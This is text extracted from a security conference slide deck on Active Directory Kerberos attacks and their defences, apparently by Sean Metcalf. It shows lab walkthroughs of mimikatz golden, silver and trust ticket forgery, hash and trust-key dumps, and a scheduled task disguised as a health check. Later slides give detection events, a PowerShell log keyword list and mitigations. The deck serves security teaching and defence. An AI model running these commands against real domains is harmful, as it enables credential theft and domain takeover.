Golden ticket for 'LukeSkywalker @ LAB.ADSECURITY.ORG' successfully submitted

mimikatz<commandline> # exit
Bye!
```
PS C:\temp\mimikatz> copy c:\temp\Invoke-Mimikatz.ps1 \adsdc02.lab.adsecurity.org\c$\windows\temp
PS C:\temp\mimikatz> dir \adsdc02.lab.adsecurity.org\c$\windows\temp

Directory: \adsdc02.lab.adsecurity.org\c$\windows\temp

<table>
<thead>
<tr>
<th>Mode</th>
<th>LastWriteTime</th>
<th>Length</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>d----</td>
<td>3/15/2015 12:15 AM</td>
<td>1</td>
<td></td>
</tr>
<tr>
<td>a----</td>
<td>2/16/2015 2:27 AM</td>
<td>0</td>
<td>DMI2003.tmp</td>
</tr>
<tr>
<td>a----</td>
<td>2/16/2015 2:27 AM</td>
<td>0</td>
<td>DMI21EA.tmp</td>
</tr>
<tr>
<td>a----</td>
<td>2/16/2015 2:27 AM</td>
<td>0</td>
<td>DMI25E2.tmp</td>
</tr>
<tr>
<td>a----</td>
<td>2/16/2015 2:27 AM</td>
<td>0</td>
<td>DMI433E.tmp</td>
</tr>
<tr>
<td>a----</td>
<td>2/17/2015 12:48 AM</td>
<td>0</td>
<td>DMI8230.tmp</td>
</tr>
<tr>
<td>a----</td>
<td>2/17/2015 12:09 AM</td>
<td>0</td>
<td>DMI94PC.tmp</td>
</tr>
<tr>
<td>a----</td>
<td>2/17/2015 12:48 AM</td>
<td>0</td>
<td>DMIA7D8.tmp</td>
</tr>
<tr>
<td>a----</td>
<td>2/17/2015 12:48 AM</td>
<td>0</td>
<td>DMIA836.tmp</td>
</tr>
<tr>
<td>a----</td>
<td>2/17/2015 12:48 AM</td>
<td>0</td>
<td>DMIAEDD.tmp</td>
</tr>
<tr>
<td>a----</td>
<td>2/17/2015 12:09 AM</td>
<td>0</td>
<td>DMIB611.tmp</td>
</tr>
<tr>
<td>a----</td>
<td>2/17/2015 12:09 AM</td>
<td>0</td>
<td>DMIB6DC.tmp</td>
</tr>
<tr>
<td>a----</td>
<td>2/17/2015 12:09 AM</td>
<td>0</td>
<td>DMIC488.tmp</td>
</tr>
<tr>
<td>a----</td>
<td>2/17/2015 12:48 AM</td>
<td>0</td>
<td>DMIC4C7.tmp</td>
</tr>
<tr>
<td>a----</td>
<td>2/17/2015 12:09 AM</td>
<td>0</td>
<td>DMIC563.tmp</td>
</tr>
<tr>
<td>a----</td>
<td>2/16/2015 2:27 AM</td>
<td>0</td>
<td>DMIF01C.tmp</td>
</tr>
<tr>
<td>a----</td>
<td>2/18/2015 8:54 PM</td>
<td>676916</td>
<td>Invoke-Mimikatz.ps1</td>
</tr>
</tbody>
</table>
```
Silver Ticket: Domain Controller Exploitation

mimikatz(commandline) # kerberos::golden /admin:LukeSkywalker /domain:LAB.ADSECURITY.ORG 482-2957264255-828990924 /target:adsdc02.lab.adsecurity.org /rc4:eaac459f6664fe083b734a1898c9704e – rc4_hmac_nt
User : LukeSkywalker
Domain : LAB.ADSECURITY.ORG
SID : S-1-5-21-1387203482-2957264255-828990924
User Id : 2601
Groups Id : *513 512 520 518 519
ServiceKey: eaac459f6664fe083b734a1898c9704e – rc4_hmac_nt
Service : HOST
Target : adsdc02.lab.adsecurity.org
Ticket : ** Pass The Ticket **

* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated

Golden ticket for 'LukeSkywalker @ LAB.ADSECURITY.ORG' successfully submitted

mimikatz(commandline) # exit
Bye!
# Get ticket list
Silver Ticket: Domain Controller Exploitation

```
Cached Tickets: <1>

#0> Client: LukeSkywalker @ LAB.ADSECURITY.ORG
Server: HOST/adsc02.lab.adsecurity.org @ LAB.ADSECURITY.ORG
KerbTicket Encryption Type: RSADSI RC4-HMAC<NT>
Ticket Flags 0x40a00000 -> forwardable renewable pre_authentic
Start Time: 3/15/2015 0:19:42 (local)
End Time: 3/12/2025 0:19:42 (local)
Renew Time: 3/12/2025 0:19:42 (local)
Session Key Type: RSADSI RC4-HMAC<NT>

PS C:\temp\mimikatz> sctasks /create /S adsc02.lab.adsecurity.org /SC WEEKLY /RU "NT Authority\System" "Health Check" /TR "c:\windows\temp\Invoke-Mimikatz.ps1"
SUCCESS: The scheduled task "SCOM Agent Health Check" has successfully been created.

PS C:\temp\mimikatz> sctasks /create /S adsc02.lab.adsecurity.org /SC WEEKLY /RU "NT Authority\System" "Health Check" /TR "c:\windows\temp\Invoke-Mimikatz.ps1"
WARNING: The task name "SCOM Agent Health Check" already exists. Do you want to replace it <Y/N>?
SUCCESS: The scheduled task "SCOM Agent Health Check" has successfully been created.

PS C:\temp\mimikatz> sctasks /query /S adsc02.lab.adsecurity.org

<table>
<thead>
<tr>
<th>TaskName</th>
<th>Next Run Time</th>
<th>Status</th>
</tr>
</thead>
<tbody>
<tr>
<td>SCOM Agent Health Check</td>
<td>3/22/2015 12:21:00 AM</td>
<td>Ready</td>
</tr>
</tbody>
</table>
```
Silver Ticket: Domain Controller Exploitation

```
invoke-mimikatz
1/4/2015 10:40 PM  PS1 File 619 KB

mmkdom
1/4/2015 10:43 PM  Text Document 5 KB

---

mimikatz 2.0 alpha (x64) release "Kiwi en C" (May 20 2014 08:56:48)
by Benjamim DELPY
http://blog.gentilkiwi.com/mimikatz

with 14 modules */*/mimikatz(powershell)

privilege::debugPrivilege '20' $OKmimikatz(powershell) # lsadump::samrpc
/patchDomain: ADSECLAB / s-1-5-21-1473643419-774954089-2222329127RID:
000001f4 (500)User: AdministratorLM: NTLM:
6f40d9c1cab7f73d298dc3d941f63543dRID: 000001f5 (501)User: GuestLM:
7e2a0e20851d0229f2489210b6576ed6eRID: 000003e8 (1000)User: adminLM:
NTLM : 7c08d63a2f48f045971bc2236ed3f3acRID: 00000452 (1106)User:
LukeSkywalkerLM : NTLM : 177af8ab46321ceef22b4e8376f2db7RID: 00000453
(1107)User: HanSoloLM : NTLM : 269c0c63a623b20e62dfd861c9b82818RID:
```
Silver Ticket: Domain Controller Exploitation

- Gain access to a Domain Controller’s AD computer account password.
- Generate Silver Ticket for CIFS SPN to access file system via default shares.
- Generate Silver Ticket for HOST SPN to create scheduled task to run as local System (and re-exploit the domain).

HOST =
alerter, appmgmt, cisvc, clipsrv, browser, dhcp, dnscache, replicator, eventlog, eventsystem, policyagent, oakley, dscontrol, dns, mcsvc, fax, msiserver, ias, messenger, netlogon, netman, netdse, netddedsm, nagent, plugplay, protectedstorage, rasman, rpclocator, rpc, rpcss, remoteaccess, rsvp, samss, scardsrv, scesrv, seclogon, scm, dcom, cifs, spooler, snmp, schedule, tapisrv, trksrv, trkwks, ups, time, wins, www, http, w3svc, iisadmin, msdctc
Kerberos Across Trusts

“The Other TGT”
Cross-Domain/Forest Kerberos
Kerberos Trust Ticket

External Trust
Forge Trust Ticket Using Mimikatz

```
RID : 0000045b (1115)
User : EXTERNAL$

= Primary
LM :
NTLM : 7c08d63a2f48f045971bc2236ed3f3ac

mimikatz<commandline> # kerberos::golden /domain:lab.adsecurity.org /sid:S-1-5-21-158377[c08d63a2f48f045971bc2236ed3f3ac] /user:Administrator /service:krbtgt /target:external.com
rbi
User : Administrator
Domain : lab.adsecurity.org
SID : S-1-5-21-1583770191-1400008446-3268284411
User Id : 500
Groups Id : *513 512 520 518 519
ServiceKey: 7c08d63a2f48f045971bc2236ed3f3ac - rc4_hmac_nt
Service : krbtgt
Target : external.com
-> Ticket : c:\temp\TrustTicket1.kirbi

* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated

Final Ticket Saved to file!
```
Leverage Forged Trust Ticket for TGS Tickets

```
PS C:\temp\kekeo> .\asktgs c:\temp\TrustTicket1.kirbi cifs/adsextdc01.external.com

####
.
###^####
###\###
/*** *
### \ / ###
Benjamin DELPY `gentilkiwi` < benjamin@gentilkiwi.com >
'### v ###'
http://blog.gentilkiwi.com
'####'

Ticket    : c:\temp\TrustTicket1.kirbi
Service   : krbtgt / external.com @ lab.adsecurity.org
Principal : Administrator @ lab.adsecurity.org

> cifs/adsextdc01.external.com
* Ticket in file 'cifs.adsextdc01.external.com.kirbi'
PS C:\temp\kekeo>
```
Access Protected Resources Across Domain Trust

- Trusting domain Share only accessible to Trusted domain admins.
- Forged Trust ticket provides access to share.
Kerberos Trust Ticket

Active Directory Forest Internal Trusts
Mimikatz Extracts Trust Keys

```bash
mimikatz(commandline) # lsadump::trust /patch

Current domain: LAB.ADSECURITY.ORG (ADSECLAB / S-1-5-21-1583770191-140008446-3268284411)

Domain: RD.LAB.ADSECURITY.ORG (RD / S-1-5-21-135380161-102191138-581311202)

[ In ] LAB.ADSECURITY.ORG -> RD.LAB.ADSECURITY.ORG
  * 6/17/2015 7:35:47 PM - CLEAR - 65 aa 4f 45 f3 8a 7a 07 69 99 a0 f2 8f 11 88 55 5b 18 2a
e1 e3 a0 91 0d c0 7c 10 8c 32 db c5 b9 48 d6 e3 0c 4c 74 83 bc 13 38 2d e0 bb 5f 35 e8 c7 16 12
df 71 33 59 88 68 91 06 b6 10 6c e2 92 68 c5 dd 81 1b 2d c6 f5 44 01 5e ec f0 b7 ed 2e 22 8d 21
8a 98 21 90 a3 a4 2c 57 99 91 8d a1 e9 c0 d8 68 2d c3 b0 ba 3d eb 58 28 16 ea 45 f0 57 b1 0a bd
0f 42 4a 14 1e 25 2b 27 3f 89 a5 3a 65 1b ed 6c 37 f5 3c e7 4e 8e ba 53 6d ca 5d 77 86 4b 72 50
33 c7 9c e9 ff eb 91 ff 0e 4e f0 2f fb bd 28 7e 2d e0 5a e5 76 22 2a 4a 26 54 70 24 f5 71 cf f0
26 5d 6b 01 88 17 a9 a3 d5 39 38 3f 5f 78 73 48 9d 46 9b 0d b7 8e 98 c0 fe 22 11 4c cb 6f
  * aes256_hmac c710a6557b1d27920f73725e09362c5f6ad630a802eb4ed2e0c5838885a090c
  * aes128_hmac 6a5aba88674dca6414b371136ac4aae5
  * rc4_hmac_nt a2a6ef66d1d90b0fb4c7943d52fad203

[ Out ] RD.LAB.ADSECURITY.ORG -> LAB.ADSECURITY.ORG
  * 6/17/2015 7:35:47 PM - CLEAR - 65 aa 4f 45 f3 8a 7a 07 69 99 a0 f2 8f 11 88 55 5b 18 2a
e1 e3 a0 91 0d c0 7c 10 8c 32 db c5 b9 48 d6 e3 0c 4c 74 83 bc 13 38 2d e0 bb 5f 35 e8 c7 16 12
df 71 33 59 88 68 91 06 b6 10 6c e2 92 68 c5 dd 81 1b 2d c6 f5 44 01 5e ec f0 b7 ed 2e 22 8d 21
8a 98 21 90 a3 a4 2c 57 99 91 8d a1 e9 c0 d8 68 2d c3 b0 ba 3d eb 58 28 16 ea 45 f0 57 b1 0a bd
0f 42 4a 14 1e 25 2b 27 3f 89 a5 3a 65 1b ed 6c 37 f5 3c e7 4e 8e ba 53 6d ca 5d 77 86 4b 72 50
33 c7 9c e9 ff eb 91 ff 0e 4e f0 2f fb bd 28 7e 2d e0 5a e5 76 22 2a 4a 26 54 70 24 f5 71 cf f0
26 5d 6b 01 88 17 a9 a3 d5 39 38 3f 5f 78 73 48 9d 46 9b 0d b7 8e 98 c0 fe 22 11 4c cb 6f
  * aes256_hmac 834eccecb0cd819f5d25fa95382450ed402e8f2a066d2dfe9c87437270eeb
  * aes128_hmac 238428f3e950c5ba6e36043372913de1
  * rc4_hmac_nt a2a6ef66d1d90b0fb4c7943d52fad203
```
Forge Trust Ticket Using Mimikatz

```
mimikatz(commandline) # kerberos::golden /domain:lab.adsecurity.org /sid:S-1-5-21-1583770191-140008446-3268284411-512 510 518 /user:Administrator /service:krbtgt /target:rd.lab.adsecurity.org
User : Administrator
Domain : lab.adsecurity.org
SID : S-1-5-21-1583770191-140008446-3268284411
User Id : 500
Groups Id : *513 512 520 518 519
ServiceKey: a2ade66d1d90b0fb4c7943d52fad203 - rc4_hmac_nt
Service : krbtgt
Target : rd.lab.adsecurity.org
-> Ticket : c:\temp\TrustTicket1.kirbi

* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated

Final Ticket Saved to file!
```
Leverage Forged Trust Ticket for TGS Tickets
Access Protected Resources Across Domain Trust

```
PS C:\temp\keeko> klist
Current LogonId is 0:0x37ff0a
Cached Tickets: <1>

##
Client: Administrator @ lab.adsecurity.org
Server: cifs/adscdc11.rd.lab.adsecurity.org @ RD.LAB.ADSECURITY.ORG
Kerb ticket Encryption Type: RC4-HMAC(NT)
Ticket Flags 0x40a50000 -> forwardable renewable pre_authent ok_as_delegate name_canonicalize
Start Time: 6/27/2015 10:09:16 <(local)>
End Time: 6/27/2015 20:09:16 <(local)>
Renew Time: 7/4/2015 10:09:16 <(local)>
Session Key Type: RSADSI RC4-HMAC(NT)

PS C:\temp\keeko> net use \adscdc11.rd.lab.adsecurity.org\admin$
The command completed successfully.

PS C:\temp\keeko> dir \adscdc11.rd.lab.adsecurity.org\c$\windows\ntds

Directory: \adscdc11.rd.lab.adsecurity.org\c$\windows\ntds

<table>
<thead>
<tr>
<th>Mode</th>
<th>LastWriteTime</th>
<th>Length</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>a----</td>
<td>6/27/2015 9:17 AM</td>
<td>8192</td>
<td>edb.chk</td>
</tr>
<tr>
<td>a----</td>
<td>6/27/2015 9:10 AM</td>
<td>10485760</td>
<td>edb.log</td>
</tr>
<tr>
<td>a----</td>
<td>6/27/2015 4:48 AM</td>
<td>10485760</td>
<td>edb00000.log</td>
</tr>
<tr>
<td>a----</td>
<td>6/17/2015 7:35 PM</td>
<td>10485760</td>
<td>edbres0001.jrs</td>
</tr>
<tr>
<td>a----</td>
<td>6/17/2015 7:35 PM</td>
<td>10485760</td>
<td>edbres0002.jrs</td>
</tr>
<tr>
<td>a----</td>
<td>6/24/2015 2:51 PM</td>
<td>10485760</td>
<td>edbtmp.log</td>
</tr>
<tr>
<td>a----</td>
<td>6/27/2015 9:17 AM</td>
<td>25102288</td>
<td>ntds.dit</td>
</tr>
<tr>
<td>a----</td>
<td>6/27/2015 9:17 AM</td>
<td>2113536</td>
<td>temp.edb</td>
</tr>
</tbody>
</table>
```

PS C:\temp\keeko> whoami
adseclab\joeuser
Forging Kerberos Tickets Across Trusts

- Each trust has an associated password (stored in each domain).
- Used to create cross-domain Kerberos tickets (“Trust Tickets”).
- Golden Tickets don’t work across trusts*.
- Compromise trusted domain for access to trusting domain.
- Trust password is changed by domain machine password policy.

* Golden Tickets don’t work across trusts in the context of this discussion, but in general, they can be used to bypass Kerberos authentication across trusts.
Blue Team (Defense)
Raising the Bar

Detect

Mitigate

Prevent
Detecting MS14-068 On the Wire

Kerberos

Record Mark: 292 bytes
0... 0000 0000 0000 0000 0000 0000 0001 0010 0

as-req
pvno: 5
msg-type: krb-as-req (10)
padata: 2 items
  PA-DATA PA-ENC-TIMESTAMP
    padata-type: kRB5-PADATA-ENC-TIMESTAMP
      padata-value: 303da003020117a2
etype: eTYPE-ARCFOUR-HMAC-MD5
cipher: 7ec9f6b64b55df79aebc
  PA-DATA PA-PAC-REQUEST
    padata-type: kRB5-PADATA-PA-PAC-REQUEST
    padata-value: 3005a003010100
    include-pac: False

TGS-REQ

tgs-req
pvno: 5
msg-type: krb-tgs-req (12)
padata: 2 items
  PA-DATA PA-TGS-REQUEST
    padata-type: kRB5-PADATA-TGS-REQUEST (1)
    padata-value: 6e820203308201fa003020105a10302010ea20703050000...

ap-req
pvno: 5
msg-type: krb-ap-req (14)
Padding: 0
ap-options: 00000000
  0... = reserved: False
  .0... = use-session-key: False
  .0... = mutual-required: False
ticket
tkt-vno: 5
realm: LAB.ADSECURITY.ORG
sname
name-type: kRB5-NT-PRINCIPAL (1)
name-string: krb5-NT-PRINCIPAL (1)
enc-part
etype: eTYPE-ARCFOUR-HMAC-MD5 (23)
kvno: 2
cipher: 5b8e025719b0779efc3c6a9a5a4f2312395bbefa6bcff8e
  include-pac: False
  eTYPE-ARCFOUR-HMAC-MD5 (23)
cipher: d606bae2ed83b02ad5f2c37ce0518d57dfbabad7eaf619...
Detecting Forged Kerberos
Golden (TGT) & Silver (TGS) Tickets

• Normal, valid account logon event data structure:
  • Security ID: DOMAIN\AccountID
  • Account Name: AccountID
  • Account Domain: DOMAIN

• **Golden & Silver Ticket** events may have one of these issues:
  • The Account Domain field is **blank** when it should contain **DOMAIN**.
  • The Account Domain field is **DOMAIN FQDN** when it should contain **DOMAIN**.
  • The Account Domain field contains “eo.oe.kiwi :)”
**Golden Ticket Event 4672: Fictional Admin Logon**

**Valid**

<table>
<thead>
<tr>
<th>Security ID</th>
<th>ADSECLAB\LukeSkywalker</th>
</tr>
</thead>
<tbody>
<tr>
<td>Account Name</td>
<td>LukeSkywalker</td>
</tr>
<tr>
<td>Account Domain</td>
<td>ADSECLAB</td>
</tr>
<tr>
<td>Logon ID</td>
<td>0x3a6678</td>
</tr>
<tr>
<td>Privileges</td>
<td>SeSecurityPrivilege</td>
</tr>
<tr>
<td></td>
<td>SeBackupPrivilege</td>
</tr>
<tr>
<td></td>
<td>SeRestorePrivilege</td>
</tr>
<tr>
<td></td>
<td>SeTakeOwnershipPrivilege</td>
</tr>
<tr>
<td></td>
<td>SeDebugPrivilege</td>
</tr>
<tr>
<td></td>
<td>SeSystemEnvironmentPrivilege</td>
</tr>
<tr>
<td></td>
<td>SeLoadDriverPrivilege</td>
</tr>
<tr>
<td></td>
<td>SeImpersonatePrivilege</td>
</tr>
<tr>
<td></td>
<td>SeEnableDelegationPrivilege</td>
</tr>
</tbody>
</table>

**Forged Ticket**

<table>
<thead>
<tr>
<th>Security ID</th>
<th>S-1-5-21-1387203482-2957264255-828990924-9999</th>
</tr>
</thead>
<tbody>
<tr>
<td>Account Name</td>
<td>DarthVader</td>
</tr>
<tr>
<td>Account Domain</td>
<td></td>
</tr>
<tr>
<td>Logon ID</td>
<td>0x516f28</td>
</tr>
<tr>
<td>Privileges</td>
<td>SeSecurityPrivilege</td>
</tr>
<tr>
<td></td>
<td>SeBackupPrivilege</td>
</tr>
<tr>
<td></td>
<td>SeRestorePrivilege</td>
</tr>
<tr>
<td></td>
<td>SeTakeOwnershipPrivilege</td>
</tr>
<tr>
<td></td>
<td>SeDebugPrivilege</td>
</tr>
<tr>
<td></td>
<td>SeSystemEnvironmentPrivilege</td>
</tr>
<tr>
<td></td>
<td>SeLoadDriverPrivilege</td>
</tr>
<tr>
<td></td>
<td>SeImpersonatePrivilege</td>
</tr>
<tr>
<td></td>
<td>SeEnableDelegationPrivilege</td>
</tr>
</tbody>
</table>
Golden Ticket Event 4672: Fictional Admin Spoofing

Valid

Forged Ticket
Detecting MS14-068 Exploit Security Events

• Normal, valid account logon event data structure:
  • **Security ID:** DOMAIN\AccountID
  • **Account Name:** AccountID
  • **Account Domain:** DOMAIN

• **MS14-068 Exploit** events may have 1 (or more) of these:
  • The Account Domain field is **blank** when it should be **DOMAIN**
  • The Account Domain field is **DOMAIN FQDN** when it should be **DOMAIN**.
  • Account Name is a different account from the Security ID.
AD Attack Mitigation: PowerShell Security

• Limit PowerShell Remoting (WinRM).
  • Limit WinRM listener scope to admin subnets.
  • Disable PowerShell Remoting (WinRM) on DCs.
• Audit/block PowerShell script execution via AppLocker.
• PowerShell v3+: Enable PowerShell Module logging (via GPO).
  • Search PowerShell logs for “mimikatz”, “gentilkiwi”, “Delpy”, “iex (new-object net.webclient).downloadstring”, etc
• Leverage Metering for PowerShell usage trend analysis.
  • JoeUser ran PowerShell on 10 computers today?
• Track PowerShell Remoting Usage
PowerShell v5 Security Enhancements

• System-wide transcripts
• Script block logging
• Constrained PowerShell
• Antimalware Integration (Win 10)
Mitigation Level One (Low)

- Minimize the groups (& users) with DC admin/logon rights
- Separate user & admin accounts (JoeUser & AdminJoeUser)
- No user accounts in admin groups
- Set all admin accounts to “sensitive & cannot be delegated”
- Deploy Security Back-port patch (KB2871997) which adds local SIDs & enable regkey to prevent clear-text pw in LSASS.
- Set GPO to prevent local accounts from connecting over network to computers (easy with KB2871997).
- Use long, complex (>25 characters) passwords for SAs.
- Delete (or secure) GPP policies and files with creds.
- Patch server image (and servers) before running DCpromo
- Implement RDP Restricted Admin mode
Mitigation Level Two (Moderate)

• Microsoft LAPS (or similar) to randomize computer local admin account passwords.

• Service Accounts (SAs):
  • Leverage “(Group) Managed Service Accounts”.
  • Implement Fine-Grained Password Policies (DFL >2008).
  • Limit SAs to systems of the same security level, not shared between workstations & servers (for example).

• Remove Windows 2003 from the network.

• Separate Admin workstations for administrators (locked-down & no internet).

• PowerShell logging
Mitigation Level Three (“It’s Complicated”)

- **Number of Domain Admins = 0**
- Complete separation of administration
- ADAs use SmartCard auth w/ rotating pw
- ADAs never logon to other security tiers.
- ADAs should only logon to a DC (or admin workstation or server).
- Time-based, temporary group membership.
- No Domain Admin service accounts running on non-DCs.
- Disable default local admin account & delete all other local accounts.
- Implement network segmentation.
- CMD Process logging & enhancement (KB3004375).
Attack Detection Paradigm Shift

• Microsoft Advanced Threat Analytics (ATA, formerly Aorato)
  • Monitors all network traffic to Domain Controllers
  • Baselines “normal activity” for each user (computers, resources, etc)
  • Alerts on suspicious activity by user
  • Natively detects recon & attack activity without writing rules

• ATA Detection Capability:
  • Credential theft & use: Pass the hash, Pass the ticket, Over-Pass the hash, etc
  • MS14-068 exploits
  • Golden Ticket usage
  • DNS Reconnaissance
  • Password brute forcing
  • Domain Controller Skeleton Key Malware
Microsoft ATA Suspicious Activity

Suspicion of Identity Theft based on Abnormal Behavior

Ophir Polotsky exhibited abnormal behavior when performing activities that were not seen over the last month and are also not in accordance with the activities of other accounts in the organization. The abnormal behavior is based on the following activities:

- Performed interactive login from 8 abnormal workstations.
- Performed interactive login from FS.
- Requested access to 12 abnormal resources.

Recommendations

- Disconnect the relevant computers from the network or move them into an isolated environment and start a forensics procedure by investigating: unknown processes, services, registry entries, unsigned files, and more
- Contact Ophir Polotsky and investigate if the user has logged in to abnormal computers and accessed abnormal resources.
Credential Theft Protection (Future)

Isolated User Mode (IUM)
- LSAIso
  - NTLM Support
  - Kerberos Support
  - Clear Secrets

High Level OS (HLOS)
- LSASS
  - NTLM
  - Kerberos
  - IUM Secrets

Hypervisor

Computer Hardware
Additional Mitigations

• Monitor scheduled tasks on sensitive systems (DCs, etc)
• Block internet access to DCs & servers.
• Monitor security event logs on all servers for known forged Kerberos & backup events.
• Include computer account password changes as part of domain-wide password change scenario (breach recovery).
• Change the KRBTGT account password (twice) every year & when an AD admin leaves.
• Incorporate Threat Intelligence in your process and model defenses against real, current threats.
Summary

- Attackers will get code running on a target network.
- The extent of attacker access is based on defensive posture.
- Advanced attacks may be detectable. Though it’s better to prevent this type of access in the first place.
- Protect AD Admins or a full domain compromise is likely!

*My research into AD attack, defense, & detection is ongoing. This is only the beginning... 😊*
Thanks!

• Alva “Skip” Duckwall (@passingthehash)
  • http://passing-the-hash.blogspot.com
• Benjamin Delpy (@gentilkiwi)
  • http://blog.gentilkiwi.com/mimikatz
• Chris Campbell (@obscuresec)
  • http://obscuresecurity.blogspot.com
• Joe Bialek (@clymb3r)
  • https://clymb3r.wordpress.com
• Matt Graeber (@mattifestation)
  • http://www.exploit-monday.com
• Rob Fuller (@mubix)
  • http://www.room362.com
• Will Schroeder (@harmj0y)
  • http://blog.harmj0y.net

• Many others in the security community!

• My wife & family for putting up with me being on the computer every night! 😊

CONTACT:
Sean Metcalf
@PyroTek3
sean [@] adsecurity . org
https://www.ADSecurity.org
References


• Tim Medin’s DerbyCon 2014 presentation: “Attacking Microsoft Kerberos: Kicking the Guard Dog of Hades” https://www.youtube.com/watch?v=PUyhIn-E5MU


• Chris Campbell - GPP Password Retrieval with PowerShell http://obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html


• An overview of KB2871997 http://blogs.technet.com/b/srd/archive/2014/06/05/an-overview-of-kb2871997.aspx

References

- Kerberos, Active Directory’s Secret Decoder Ring
  http://adsecurity.org/?p=227
- Kerberos & KRBTGT: Active Directory’s Domain Kerberos Account
  http://adsecurity.org/?p=483
- PowerShell Code: Check KRBTGT Domain Kerberos Account Last Password Change
  http://adsecurity.org/?p=481
- Mining Active Directory Service Principal Names
  http://adsecurity.org/?p=230
- MS14-068: Vulnerability in (Active Directory) Kerberos Could Allow Elevation of Privilege
  http://adsecurity.org/?tag=ms14068
- Microsoft Enhanced security patch KB2871997
  http://adsecurity.org/?p=559
- SPN Directory:
  http://adsecurity.org/?page_id=183
- PowerShell Code: Find-PSServiceAccounts
  https://github.com/PyroTek3/PowerShell-AD-Recon/blob/master/Find-PSServiceAccounts
References

• DEF CON 22 - Ryan Kazanciyan and Matt Hastings, Investigating PowerShell Attacks [https://www.youtube.com/watch?v=qF06PFcezLs](https://www.youtube.com/watch?v=qF06PFcezLs)
• PowerSploit: [https://github.com/mattifestation/PowerSploit](https://github.com/mattifestation/PowerSploit)
• PoshSec: [https://github.com/PoshSec](https://github.com/PoshSec)
Appendix
Golden & Silver Ticket Event Anomalies

• **Event ID: 4624 (Account Logon)***
  • Account Domain is FQDN & should be short domain name
  • Account Domain: LAB.ADSECURITY.ORG [ADSECLAB]

• **Event ID: 4672 (Admin Logon)***
  • Account Domain is blank & should be short domain name
  • Account Domain: _________________ [ADSECLAB]

• **Event ID: 4634 (Account Logoff)**
  • Account Domain is blank & should be short domain name
  • Account Domain: _________________ [ADSECLAB]
Detecting MS14-068 Exploit Events

- **Event ID: 4624 (Account Logon)**
  - The Account Domain field is **DOMAIN FQDN** when it should be **DOMAIN**.
  - *Account Name is a different account from the Security ID.*

- **Event ID: 4672 (Admin Logon)**
  - The Account Domain field is **DOMAIN FQDN** when it should be **DOMAIN**.
  - *Account Name is a different account from the Security ID.*
  - Account Domain is **blank** & should be **DOMAIN**.

- **Event ID: 4768 (Kerberos TGS Request)**
  - The Account Domain field is **DOMAIN FQDN** when it should be **DOMAIN**.
Silver Ticket Event 4624: Account Logon

<table>
<thead>
<tr>
<th>Valid</th>
<th>Forged Ticket</th>
</tr>
</thead>
</table>

| Subject | | |
|---------|----------------|
| Security ID: | NULL SID |
| Account Name: | - |
| Account Domain: | - |
| Logon ID: | 0x0 |

| Logon Type: | 3 |

<table>
<thead>
<tr>
<th>New Logon</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>Security ID:</td>
<td>ADSECLAB\LukeSkywalker</td>
</tr>
<tr>
<td>Account Name:</td>
<td>LukeSkywalker</td>
</tr>
<tr>
<td>Account Domain:</td>
<td>LAB.ADSECURITY.ORG</td>
</tr>
<tr>
<td>Logon ID:</td>
<td>0x3331b4</td>
</tr>
<tr>
<td>Logon GUID:</td>
<td>(062bedaa-b2ee-fc9b-e292-a6ab619eb0da)</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Process Information</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>Process ID:</td>
<td>0x0</td>
</tr>
<tr>
<td>Process Name:</td>
<td>-</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Network Information</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>Workstation Name:</td>
<td></td>
</tr>
<tr>
<td>Source Network Address:</td>
<td>172.16.11.202</td>
</tr>
<tr>
<td>Source Port:</td>
<td>50017</td>
</tr>
</tbody>
</table>
Silver Ticket Event 4634: Account Logoff

An account was logged off.
Subject:
- Security ID: ADSECLAB\LukeSkywalker
- Account Name: LukeSkywalker
- Account Domain: ADSECLAB
- Logon ID: 0x3a668d
- Logon Type: 3

This event is generated when a logon session is destroyed. It may be positively correlated value. Logon IDs are only unique between reboots on the same computer.

Valid

Forced Ticket

An account was logged off.
Subject:
- Security ID: ADSECLAB\LukeSkywalker
- Account Name: LukeSkywalker
- Account Domain: ADSECLAB
- Logon ID: 0x5334bb
- Logon Type: 3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
Silver Ticket Event 4674: PowerShell Remoting

<table>
<thead>
<tr>
<th>Subject:</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>Security ID:</td>
<td>ADSECLAB\LukeSkywalker</td>
</tr>
<tr>
<td>Account Name:</td>
<td>LukeSkywalker</td>
</tr>
<tr>
<td><strong>Account Domain:</strong></td>
<td></td>
</tr>
<tr>
<td>Logon ID:</td>
<td>0x99B8A</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Object:</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>Object Server:</td>
<td>Security</td>
</tr>
<tr>
<td>Object Type:</td>
<td>-</td>
</tr>
<tr>
<td>Object Name:</td>
<td>-</td>
</tr>
<tr>
<td>Object Handle:</td>
<td>0x440</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Process Information:</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>Process ID:</td>
<td>0x844</td>
</tr>
<tr>
<td><strong>Process Name:</strong></td>
<td>C:\Windows\System32\wsmprovhost.exe</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Requested Operation:</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>Desired Access:</td>
<td>983103</td>
</tr>
<tr>
<td>Privileges:</td>
<td>SeTakeOwnershipPrivilege</td>
</tr>
</tbody>
</table>
Golden Ticket Event 4672: Fictional Admin Logon

<table>
<thead>
<tr>
<th>Subject</th>
<th>Security ID: S-1-5-21-1387203482-2957264255-828990924-9999</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>Account Name: DarthVader</td>
</tr>
<tr>
<td></td>
<td>Account Domain: ADSEXCLAB</td>
</tr>
<tr>
<td></td>
<td>Logon ID: 0x516f28</td>
</tr>
